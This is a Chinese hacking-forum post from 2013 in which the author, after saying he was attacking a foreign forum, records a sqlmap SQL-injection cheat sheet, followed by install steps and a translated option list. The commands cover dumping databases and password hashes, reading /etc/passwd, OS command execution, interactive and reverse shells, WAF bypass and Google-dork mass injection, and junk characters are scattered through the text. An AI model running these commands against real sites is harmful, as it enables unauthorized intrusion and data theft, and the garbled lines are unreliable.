找回密码
 立即注册
查看: 3211|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
$ G  g/ E' P/ c, B6 B' @sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
. g3 A9 ?6 d3 S3 Q0 {sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名3 U5 t) }. D/ q  D: L
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段2 G! m  h9 Z' u; t5 ]! o4 Y" L
% q' {; r2 C; r4 s9 u+ a$ Y: P
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
1 c  c$ \0 f; M2 f. |, r' x0 #获取字段内容) k  N* B/ \4 I' `& N+ z: M

  l+ E8 j3 [! B6 A" `1 {******************信息获取******************! N6 L, C* n! S
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型7 s) z; ~+ o! B  {7 g1 d" S
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
$ p/ H. T7 N# O) c: S; Hsqlmap -u “http://url/news?id=1″ –dbs#列数据库8 v+ e) {/ E) Y/ \7 D0 P4 A5 e0 S
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
! }, D% p/ F5 Tsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码# z; U/ q( a% ?7 ~/ Y8 m
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”, @, K7 b, e; c. }% l: X6 b' K
–start 1 –stop 20 #列出指定字段,列出20 条, q6 E% B" M" ^9 ~
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
' ]% r: M0 o9 Q9 L+ j) [sqlmap -u “http://url/news?id=1″ –privileges #查看权限9 m/ B4 U4 v$ _7 W/ d
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
; T0 e% h/ L) h, }8 asqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)# C- T5 q" l4 _* A
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
: F, Z( U( B1 {7 Y2 Tsqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
9 y: p5 D! Z* U1 Rsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入' d& n/ N4 I8 `+ o1 _4 e
sqlmap -u “http://url/news?id=1″-b #获取banner信息) `- S; |9 a' `5 `/ i
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入! u. ~0 P$ k7 a6 T
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型7 L- h1 J2 Z# p# u1 d. H
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
, e" b. }4 v% v) E% |/ osqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词$ I# ?) z7 e2 N3 c, ]3 n, ]$ b4 q0 V
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
+ w) h0 j) K3 r& osqlmap -u “http://url/news?id=1″ –file /etc/passwd9 V; y8 |) e' l
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
9 }/ ]2 ?' g( Y0 e) osqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
3 h; l3 z9 T4 M9 p6 b% gsqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表9 x) v3 k9 P' h- ]
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度3 ]+ D  c" B4 s. V! m+ t' G) X
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
3 I) `9 q$ \2 W$ Z+ {***********高级用法*************& b1 ]% p4 A. M: l( Q
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入: F7 U) ]  `! x* }( n! V4 |, N
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问+ M% _: f* e/ L& @4 i- N9 u* k, k8 H
–technique   测试指定注入类型\使用的技术
& D: s- D; [% C) W' D- b不加参数默认测试所有注入技术
5 G# T6 d. e6 u* q1 a7 X" z•     B: 基于布尔的SQL 盲注4 a7 P: |; _) O5 M
•     E: 基于显错sql 注入1 P0 J' {7 i: d$ p1 B) u# q/ g! U
•     U: 基于UNION 注入8 _) M! A* R4 Y, b; e$ ^5 u. W
•     S: 叠层sql 注入2 q! ~$ ~4 p4 n+ I
•     T: 基于时间盲注
0 e" L6 S2 A$ [4 R3 R–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()/ v" c6 [! N, T- ]0 m
–tamper 插件所在目录$ a; N7 ]5 I) a( V5 i0 V7 e
\sqlmap-dev\tamper
* C: K  \$ ?; D) ^- y  ~+ d* C8 \sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能/ |8 r$ p. I  D8 n
level 执行测试等级 攻击实例:
0 m& J# ~7 w; J4 ~4 x: T' k, MSqlmap -u “http://url/news?id=1&Submit=Submit”* M6 K, a2 |, H, Y, G9 W/ h  F, f
–cookie=”PHPSESSID=41aa833e6d0d# i- Y" F- C0 {0 ~
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user0 B) h- t( N  b8 l7 \3 J# m3 x0 ~
–password" S* d: q/ @* V
参考文档:http://sqlmap.sourceforge.net/doc/README.html
$ X. i2 P  ?, z3 z6 H' ]***********安装最新版本*************
- Y' R) h% }5 n9 Cubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版; F, i1 }6 V9 t7 j4 A
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev3 k+ R: g* l, f% z/ a* P- F9 H
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
: a8 K% p# ?0 rsudo vim /home/当前用户/.bashrc! T' P1 q6 w/ S7 B3 `/ J
#任意位置加上:
* E) w& J! _: d* F: [/ C" o; Valias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
7 q$ f3 r; s  |" K; P, o如果想对所有用户有效 可设置全局 编辑下面的文件
+ A( H/ F# Z. k& I9 Ivim /etc/profile- d* ~7 C) y6 \; V' y# x
同样加上:7 Y- N  a0 n/ {2 V: ?
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
* q- o5 t! T2 L, G/ Y1 p5 q******************windows 7 (x64) sqlmap install (SVN)************$ ?5 b; R! H) {6 h( C5 z9 G3 \
http://www.python.org/getit/ 安装python
& g& R. r8 X2 w$ Rhttp://www.sliksvn.com/en/download 安装windows svn client
: [- p7 a1 G& c8 p5 M# {svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev! ]7 E  P" [+ ]7 X4 ]- X, y
安装sqlmap# ^# `2 }$ e( N0 i. Y
*修改环境变量
( w; {2 \3 W# l8 Z" O7 w: \–version             显示程序的版本号并退出: o' W7 }2 @- |$ f
-h, –help            显示此帮助消息并退出
& H3 t# a$ I# e-v VERBOSE            详细级别:0-6(默认为1). |; B* `7 N& W0 N1 @5 i
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
0 Y/ x9 [9 M8 l' r+ t-d DIRECT           直接连接到数据库。+ E( M+ H& Q0 _4 L
-u URL, –url=URL   目标URL。
# [% V  T6 h% C) ~7 `( C- V* v4 r-l LIST             从Burp 或WebScarab 代理的日志中解析目标。9 D+ z! o' ]! v" _
-r REQUESTFILE      从一个文件中载入HTTP 请求。
7 B; {: Z# J# u$ f; d# H1 a1 E-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
1 N6 |5 H, `) w/ U-c CONFIGFILE       从INI 配置文件中加载选项。! P7 m( f/ Z, u, Z5 S& C
Request(请求)::
$ B) a& n; l4 h0 b$ y5 J) i7 B: i这些选项可以用来指定如何连接到目标URL。' j. r9 q+ }2 J; u9 t
–data=DATA         通过POST 发送的数据字符串
( a8 c5 K$ {! M' L& ]) F  \–cookie=COOKIE     HTTP Cookie 头
: R2 A0 l5 S2 Q3 W3 v–cookie-urlencode  URL 编码生成的cookie 注入
+ |' f. z! z2 j* v; e# d–drop-set-cookie   忽略响应的Set –Cookie 头信息% r: _6 D  E6 D: f% R
' u) K" Z( X4 c( D. C# k3 Q" G5 _
–user-agent=AGENT  指定  HTTP User –Agent 头3 G* v1 c' \1 |! o4 S+ }
–random-agent      使用随机选定的HTTP User –Agent 头
/ x/ e0 T% O' O9 x, o9 Y–referer=REFERER   指定  HTTP Referer 头2 c+ [  @' d/ q: b# n  ]( P3 v
–headers=HEADERS   换行分开,加入其他的HTTP 头& Y8 {0 b* e; H! e0 b4 |
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
, Y1 K* C( j- a1 O/ t0 U–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
; e0 m. r6 F8 a: I1 o–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)+ f* L  o8 k3 }( D% p1 g$ f
–proxy=PROXY       使用HTTP 代理连接到目标URL
! O; h: i  V2 p. m; U% q  D- H–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
# F2 N0 k) t4 o; N  y, [* M–ignore-proxy      忽略系统默认的HTTP 代理
9 X$ X! y0 f! r: e) Y–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
( I! {' d" O3 x9 D( A9 t2 U–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
0 k) i0 `0 ]* h; C3 B–retries=RETRIES   连接超时后重新连接的时间(默认3)
1 ~6 h+ m! K% E: K( c–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式1 F* {0 q/ \8 c- V
–safe-url=SAFURL   在测试过程中经常访问的url 地址
  e" j, H8 U$ A% G–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
/ ]3 t4 O7 k3 K: d) G+ kOptimization(优化): 这些选项可用于优化SqlMap 的性能。
8 T+ M0 B% G% x/ |9 y3 W-o                  开启所有优化开关
# _/ s" D, y0 L( E5 E–predict-output    预测常见的查询输出4 G! f2 C, x* V' v) M
–keep-alive        使用持久的HTTP(S)连接
" j! L, d- z  }4 I$ U+ Y9 c8 {–null-connection   从没有实际的HTTP 响应体中检索页面长度
6 z: o6 n; f$ e$ x–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
, E5 \  m" f6 A1 U, K; }Injection(注入):! q. M9 C" R+ o
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
; g& B. ^  o( D7 `4 R  [4 G-p TESTPARAMETER    可测试的参数(S)& E( g, A2 v3 `. s) W) ?3 W) R
–dbms=DBMS         强制后端的DBMS 为此值4 y7 D; a' A7 _3 u6 B+ A
–os=OS             强制后端的DBMS 操作系统为这个值* ?) ?) S  F2 x1 m' }7 L+ ^( W
–prefix=PREFIX     注入payload 字符串前缀
" @! E4 M' Y+ W+ H–suffix=SUFFIX     注入 payload 字符串后缀: K$ _- E7 W3 u0 F
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据5 {( A: K9 }* N+ Y* S+ i
Detection(检测):
6 i/ k& |- N3 W这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。  V; k" i& d) z$ I
–level=LEVEL       执行测试的等级(1-5,默认为1)
+ @: F% G2 G; r) t; t8 g–risk=RISK         执行测试的风险(0-3,默认为1)
6 q7 T7 n* G# x" A  G9 g–string=STRING     查询时有效时在页面匹配字符串. w# X, t: O# p& [
–regexp=REGEXP     查询时有效时在页面匹配正则表达式9 l' N& }* m  w  e# F
–text-only         仅基于在文本内容比较网页
3 _: R4 ]/ o! w6 f' LTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。2 c7 `+ S( _" [; ]( J& L
–technique=TECH    SQL 注入技术测试(默认BEUST)
) S3 D7 e  @, [" N1 n* X+ @3 o–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)" M! e* x% M1 E# Z$ f% V! m
–union-cols=UCOLS  定列范围用于测试UNION 查询注入
3 d; @' @/ H7 k" k- g$ i# r–union-char=UCHAR  用于暴力猜解列数的字符$ h$ }2 c; M% d0 Q
Fingerprint(指纹):
2 T$ ~# S3 l2 ^: Q/ z# {. o1 Q-f, –fingerprint     执行检查广泛的DBMS 版本指纹
' y( l4 E. F. {) m  h5 N$ q5 h. G/ ^Enumeration(枚举):
0 v! Q) C6 ~, g0 V9 p
- P5 w: x+ D) M9 I* {这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
3 g8 V6 p* U! ?% I/ Y! B-b, –banner        检索数据库管理系统的标识! D1 }7 P8 g/ G! R: X+ I$ T
–current-user      检索数据库管理系统当前用户
8 ~4 W1 b$ f1 ^1 F3 J. n* m–current-db        检索数据库管理系统当前数据库
, p3 }4 ~: y8 i- g–is-dba            检测DBMS 当前用户是否DBA
9 e) D8 r& o9 N2 T' E' B$ s/ c–users             枚举数据库管理系统用户' `1 e( Y/ B- n' V* M8 \$ L
–passwords         枚举数据库管理系统用户密码哈希
7 H# `4 Z! m( _4 @3 |! \" i* [; {: q–privileges        枚举数据库管理系统用户的权限
# @" s6 d7 Y! {/ [, }. c–roles             枚举数据库管理系统用户的角色1 m) Y. g, ]/ w* [+ [% F
–dbs               枚举数据库管理系统数据库
$ ?. r, F4 q0 Q/ D–tables            枚举的DBMS 数据库中的表
- v$ m+ w7 U' k; n7 E–columns           枚举DBMS 数据库表列
3 o+ l) K# l5 x; A+ J1 i' H' w% k–dump              转储数据库管理系统的数据库中的表项
; b, P  G6 P- M0 ]–dump-all          转储所有的DBMS 数据库表中的条目
2 F# E7 J, I, r6 @–search            搜索列(S),表(S)和/或数据库名称(S)  R% D& m5 w0 d) s% k* g  v* k; @
-D DB               要进行枚举的数据库名$ x5 W% i1 P( u# G6 m
-T TBL              要进行枚举的数据库表$ i& M( v8 g! \* f; \
-C COL              要进行枚举的数据库列! p; w: u6 h$ M+ q" V. t: q
-U USER             用来进行枚举的数据库用户( R5 l) B2 I) I( b) E# z' x
–exclude-sysdbs    枚举表时排除系统数据库5 P6 v: S( ^) O+ _5 C
–start=LIMITSTART  第一个查询输出进入检索
1 H  `$ Z* P3 h$ B4 ]2 u% M–stop=LIMITSTOP    最后查询的输出进入检索2 v8 }# S; J  P' V/ i3 m
–first=FIRSTCHAR   第一个查询输出字的字符检索/ c( q: V$ X5 Z
–last=LASTCHAR     最后查询的输出字字符检索
6 i: ^* p8 N+ C  R–sql-query=QUERY   要执行的SQL 语句
( s, a; n6 T  Z8 v* e& ^+ S–sql-shell         提示交互式SQL 的shell
. M& H, ?" H1 E7 N; i1 wBrute force(蛮力): 这些选项可以被用来运行蛮力检查。
3 I4 }9 T& g" `! ^# ^–common-tables     检查存在共同表
* @( y8 k& B& `4 i/ U- |–common-columns    检查存在共同列
% c3 w' z$ p3 D. o. {User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。- p  U) O6 l  E6 i4 L3 d* x
–udf-inject        注入用户自定义函数- T4 ~7 ?2 w2 I/ k! \' Q
–shared-lib=SHLIB  共享库的本地路径
9 b7 R0 X$ C6 w' FFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。6 E; r6 l2 r3 f6 W) S/ T6 G  w) x; j  o
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件: A( P  p0 i8 a5 _1 ]2 `2 V$ M
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件) ]6 H$ |- O0 ~! s
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径6 g! G/ j2 ~7 v5 X7 @
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
# I7 o7 M: V! [; C8 T–os-cmd=OSCMD      执行操作系统命令  |  b, d$ Y; g: x2 H
–os-shell          交互式的操作系统的shell
- G: ^" F% L4 ~. y0 r' T1 a8 ~6 T–os-pwn            获取一个OOB shell,meterpreter 或VNC
3 c+ y5 O1 [' p0 N, g* K–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC: `" G7 C: r! B. r1 _2 s
–os-bof            存储过程缓冲区溢出利用
& h- i& h7 t4 `5 x2 O3 P% r9 i–priv-esc          数据库进程用户权限提升! B: z. m/ H2 m, D
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径4 U2 @5 C* f" c# m. V: b+ g; A
–tmp-path=TMPPATH  远程临时文件目录的绝对路径7 c% n, L4 ^" Z  V- h1 b( c$ ~
% U8 e# y8 t4 s. h* z% z- l/ H3 c
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。) U1 i$ ]2 U* S. D" a
–reg-read          读一个Windows 注册表项值
# W- J( _. c; E, g–reg-add           写一个Windows 注册表项值数据' _, C( C3 _, `9 D. N9 q9 J
–reg-del           删除Windows 注册表键值+ c3 \3 Q5 l! s) p6 t+ A, j
–reg-key=REGKEY    Windows 注册表键) Y5 ?. j$ }) e* n, j6 w
–reg-value=REGVAL  Windows 注册表项值' f& R  \! [6 n9 g
–reg-data=REGDATA  Windows 注册表键值数据3 }; n" c' {3 s5 D" T5 S& I
–reg-type=REGTYPE  Windows 注册表项值类型
) h  X& m$ L8 N* J0 I( FGeneral(一般): 这些选项可以用来设置一些一般的工作参数。& Q: _. q8 k& ]/ f9 [5 K
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
7 y0 d- a1 L) q, Z/ u; W-s SESSIONFILE      保存和恢复检索会话文件的所有数据: z! m: e7 k* J( K
–flush-session     刷新当前目标的会话文件: Z8 V- a0 J6 P- p, m/ U" s3 a6 M
–fresh-queries     忽略在会话文件中存储的查询结果
4 _7 }. I) G$ s7 I  r5 f4 ~; P6 Y. ]–eta               显示每个输出的预计到达时间0 x. ^6 I4 y  H# i7 X- w8 W: b
–update            更新SqlMap3 ?/ O% L. w: P+ g
–save              file 保存选项到INI 配置文件  }& t0 L# _' U$ M0 u) H9 f- ]
–batch             从不询问用户输入,使用所有默认配置。2 F! I3 k$ Z: C! K# G! x
Miscellaneous(杂项):
+ Z; ^0 C' Y# U  I2 O  Q8 N: b–beep              发现SQL 注入时提醒
6 g* k5 u/ _, R) m–check-payload     IDS 对注入payloads 的检测测试, T. @8 Y, ?, k# a/ A9 m' g
–cleanup           SqlMap 具体的UDF 和表清理DBMS) u; _7 c$ @% d
–forms             对目标URL 的解析和测试形式
/ b+ b% [% `4 f) I# k) q$ W9 l& o: B* o  d–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果9 h) V8 l5 d2 B$ L0 B
–page-rank         Google dork 结果显示网页排名(PR)- x; J. ?) O( Q" E; F; [3 n
–parse-errors      从响应页面解析数据库管理系统的错误消息# b7 O6 R6 X" B  U8 H
–replicate         复制转储的数据到一个sqlite3 数据库9 v: _$ s* o) ?9 `( y/ J
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
# x0 _6 v6 G6 F–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表